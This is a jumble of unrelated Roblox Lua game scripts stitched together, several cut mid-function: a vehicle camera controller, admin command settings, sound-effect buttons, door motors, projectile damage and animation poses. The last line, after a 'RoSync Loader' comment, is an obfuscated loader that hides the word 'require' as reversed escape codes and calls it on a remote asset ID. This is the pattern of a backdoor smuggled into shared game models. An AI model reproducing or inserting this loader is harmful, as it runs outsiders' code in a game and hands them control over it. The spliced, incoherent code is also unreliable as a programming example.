controller buttons do too UserInputService.InputEnded:connect(DealWithInput) car.DriveSeat.ChildRemoved:connect(function(child) if child.Name=="SeatWeld" then for i,v in pairs(Binded) do run:UnbindFromRenderStep(v) end workspace.CurrentCamera.CameraType=Enum.CameraType.Custom workspace.CurrentCamera.FieldOfView=70 player.CameraMaxZoomDistance=200 end end) function Camera() local cam=workspace.CurrentCamera local intcam=false local CRot=0 local CBack=0 local CUp=0 local mode=0 local look=0 local camChange = 0 local function CamUpdate() if not pcall (function() if camChange==0 and DPadUp==1 then intcam = not intcam end camChange=DPadUp if mode==1 then if math.abs(RStickX)>.1 then local sPos=1 if RStickX<0 then sPos=-1 end if intcam then CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-80 else CRot=sPos*math.abs(((math.abs(RStickX)-.1)/(.9)))*-90 end else CRot=0 end if math.abs(RStickY)>.1 then local sPos=1 if RStickY<0 then sPos=-1 end if intcam then CUp=sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*30 else CUp=math.min(sPos*math.abs(((math.abs(RStickY)-.1)/(.9)))*-75,30) end else CUp=0 end else if CRot>look then CRot=math.max(look,CRot-20) elseif CRot<look then CRot=math.min(look,CRot+20) end CUp=0 end if intcam then CBack=0 else CBack=-180*ButtonR3 end if intcam then cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Scriptable cam.FieldOfView=80 + car.DriveSeat.Velocity.Magnitude/12 player.CameraMaxZoomDistance=5 local cf=car.Body.Cam.CFrame if ButtonR3==1 then cf=car.Body.RCam.CFrame end cam.CoordinateFrame=cf*CFrame.Angles(0,math.rad(CRot+CBack),0)*CFrame.Angles(math.rad(CUp),0,0) else cam.CameraSubject=car.DriveSeat cam.FieldOfView=70 if mode==0 then cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") else cam.CameraType = "Scriptable" local pspeed = math.min(1,car.DriveSeat.Velocity.Magnitude/500) local cc = car.DriveSeat.Position+Vector3.new(0,8+(pspeed*2),0)-((car.DriveSeat.CFrame*CFrame.Angles(math.rad(CUp),math.rad(CRot+CBack),0)).lookVector*17)+(car.DriveSeat.Velocity.Unit*-7*pspeed) cam.CoordinateFrame = CFrame.new(cc,car.DriveSeat.Position) end end end) then cam.FieldOfView=70 cam.CameraSubject=player.Character.Humanoid cam.CameraType=Enum.CameraType.Custom player.CameraMaxZoomDistance=400 run:UnbindFromRenderStep("CamUpdate") end end local function ModeChange() if GMode~=mode then mode=GMode run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end mouse.KeyDown:connect(function(key) if key=="z" then look=50 elseif key=="x" then if intcam then look=-160 else look=-180 end elseif key=="c" then look=-50 elseif key=="v" then run:UnbindFromRenderStep("CamUpdate") intcam=not intcam run:BindToRenderStep("CamUpdate",Enum.RenderPriority.Camera.Value,CamUpdate) end end) mouse.KeyUp:connect(function(key) if key=="z" and look==50 then look=0 elseif key=="x" and (look==-160 or look==-180) then look=0 elseif key=="c" and look==-50 then look=0 end end) run:BindToRenderStep("CMChange",Enum.RenderPriority.Camera.Value,ModeChange) table.insert(Binded,"CamUpdate") table.insert(Binded,"CMChange") end Camera() mouse.KeyDown:connect(function(key) if key=="b" then if GMode>=1 then GMode=0 else GMode=GMode+1 end if GMode==1 then Controller=true else Controller=false end end end)
--------------| MODIFY COMMANDS |--------------
SetCommandRankByName = { --["jump"] = "HeadAdmin"; }; SetCommandRankByTag = { --["abusive"] = "HeadAdmin"; }; };
---This function sets the position of the Plot
function module.SetCarCollision(Car,Amount) ---Getting the car parts for _,v in pairs(Car:GetDescendants()) do ---Checking if he haves the property if HasProperty(v, "CollisionGroupId") then v.CollisionGroupId = Amount --print("Set Collision to "..Amount.." at "..v.Name) end end end return module
--[=[ @param handler (instance: Instance, trove: Trove) -> nil @return Connection Observes the instance. The handler is called anytime the instance comes into existence, and the trove given is cleaned up when the instance goes away. To stop observing, disconnect the returned connection. ]=]
function Streamable:Observe(handler) if self.Instance then task.spawn(handler, self.Instance, self._shownTrove) end return self._shown:Connect(handler) end
-------------------------
function onClicked() R.Function1.Disabled = true FX.ROLL.BrickColor = BrickColor.new("CGA brown") FX.ROLL.loop.Disabled = true FX.REVERB.BrickColor = BrickColor.new("CGA brown") FX.REVERB.loop.Disabled = true FX.GATE.BrickColor = BrickColor.new("CGA brown") FX.GATE.loop.Disabled = true FX.PHASER.BrickColor = BrickColor.new("CGA brown") FX.PHASER.loop.Disabled = true FX.SLIPROLL.BrickColor = BrickColor.new("CGA brown") FX.SLIPROLL.loop.Disabled = true FX.FILTER.BrickColor = BrickColor.new("CGA brown") FX.FILTER.loop.Disabled = true FX.SENDRETURN.BrickColor = BrickColor.new("Really red") FX.SENDRETURN.loop.Disabled = true FX.ECHO.BrickColor = BrickColor.new("CGA brown") FX.ECHO.loop.Disabled = true FX.MultiTapDelay.BrickColor = BrickColor.new("CGA brown") FX.MultiTapDelay.loop.Disabled = true FX.DELAY.BrickColor = BrickColor.new("CGA brown") FX.DELAY.loop.Disabled = true FX.REVROLL.BrickColor = BrickColor.new("CGA brown") FX.REVROLL.loop.Disabled = true R.loop.Disabled = false R.Function2.Disabled = false end script.Parent.ClickDetector.MouseClick:connect(onClicked)
--//doors
local dl = Instance.new("Motor", script.Parent.Parent.Misc.FL.Door.SS) dl.MaxVelocity = 0.03 dl.Part0 = script.Parent.FL dl.Part1 = dl.Parent local dr = Instance.new("Motor", script.Parent.Parent.Misc.FR.Door.SS) dr.MaxVelocity = 0.03 dr.Part0 = script.Parent.FR dr.Part1 = dr.Parent local dl2 = Instance.new("Motor", script.Parent.Parent.Misc.RL.Door.SS) dl2.MaxVelocity = 0.03 dl2.Part0 = script.Parent.RL dl2.Part1 = dl2.Parent local dr2 = Instance.new("Motor", script.Parent.Parent.Misc.RR.Door.SS) dr2.MaxVelocity = 0.03 dr2.Part0 = script.Parent.RR dr2.Part1 = dr2.Parent
--[[ -- make a splat for i=1,3 do local s = Instance.new("Part") s.Shape = 1 -- block s.formFactor = 2 -- plate s.Size = Vector3.new(1,.4,1) s.BrickColor = ball.BrickColor local v = Vector3.new(math.random(-1,1), math.random(0,1), math.random(-1,1)) s.Velocity = 15 * v s.CFrame = CFrame.new(ball.Position + v, v) ball.BrickCleanup:clone().Parent = s s.BrickCleanup.Disabled = false s.Parent = game.Workspace end --]]
if humanoid then if game.Players:FindFirstChild(humanoid.Parent.Name).TeamColor~=ball.BrickColor then tagHumanoid(humanoid) humanoid:TakeDamage(damage) wait(2) untagHumanoid(humanoid) end end connection:disconnect() ball.Parent = nil end function tagHumanoid(humanoid) -- todo: make tag expire local tag = ball:findFirstChild("creator") if tag ~= nil then local new_tag = tag:clone() new_tag.Parent = humanoid end end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end connection = ball.Touched:connect(onTouched) wait(8) ball.Parent = nil
-- functions
function onRunning(speed) if speed>0 then pose = "Running" else pose = "Standing" end end function onDied() pose = "Dead" end function onJumping() pose = "Jumping" end function onClimbing() pose = "Climbing" end function onGettingUp() pose = "GettingUp" end function onFreeFall() pose = "FreeFall" end function onFallingDown() pose = "FallingDown" end function onSeated() pose = "Seated" end function onPlatformStanding() pose = "PlatformStanding" end function moveJump() RightShoulder.MaxVelocity = 0.5 LeftShoulder.MaxVelocity = 0.5 RightShoulder.DesiredAngle = (3.14) LeftShoulder.DesiredAngle = (-3.14) RightHip.DesiredAngle = (0) LeftHip.DesiredAngle = (0) end
-- Set join time
function Main:SetJoinTime(newTime) self.JoinTime = newTime self.Data.JoinTime = newTime return self.JoinTime end
--Obj
local Frame local TotalNPC = {} function TotalNPC:ShowStats() workspace:WaitForChild("Characters") while (wait(1)) do Frame.Text.Text = #workspace.Characters:GetChildren() end end function TotalNPC:Setup(UI) Frame = UI self:ShowStats() end return TotalNPC
-- i see u nerd c:<
while true do script.Parent.CFrame = script.Parent.CFrame * CFrame.fromEulerAnglesXYZ(0,.01,0) wait() end
---------------------------------------------------------------------------- --- Functions ------------------------------------------------------------ ----------------------------------------------------------------------------
local c = script.DepthOfField:Clone() c.Parent = game.Lighting local function DestroyDroplet(d) wait(Random_:NextNumber(1,1.5)) -- Proper GC for _, Child in ipairs(d:GetChildren()) do local Index = table.find(ignoreList, Child) if Index then ignoreList[Index] = ignoreList[IgnoreLength] ignoreList[IgnoreLength] = nil IgnoreLength = IgnoreLength - 1 end end local Index = table.find(ignoreList, d) if Index then ignoreList[Index] = ignoreList[IgnoreLength] ignoreList[IgnoreLength] = nil IgnoreLength = IgnoreLength - 1 end d:Destroy() end
--Made by Superluck, Uploaded by FederalSignal_QCB. --Made by Superluck, Uploaded by FederalSignal_QCB. --Made by Superluck, Uploaded by FederalSignal_QCB.
script.Parent.Parent.Parent.Parent.Parent.Scripts.Amp.Changed:Connect(function() script.Parent.Sound:Play() if script.Parent.Parent.Parent.Parent.Parent.Scripts.Amp.Value == true then if (math.random(1,50)) ~= 1 then script.Parent.Parent.On.Value = true script.Parent.Parent.Parent.Parent.Parent.Scripts.AmpsActive.Value = (script.Parent.Parent.Parent.Parent.Parent.Scripts.AmpsActive.Value + 1) end else script.Parent.Parent.On.Value = false script.Parent.Parent.Parent.Parent.Parent.Scripts.AmpsActive.Value = (script.Parent.Parent.Parent.Parent.Parent.Scripts.AmpsActive.Value - 1) end end)
--[[ By: Brutez, 2/28/2015, 1:34 AM, (UTC-08:00) Pacific Time (US & Canada) ]]-- --[[ Last synced 11/13/2020 10:35 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)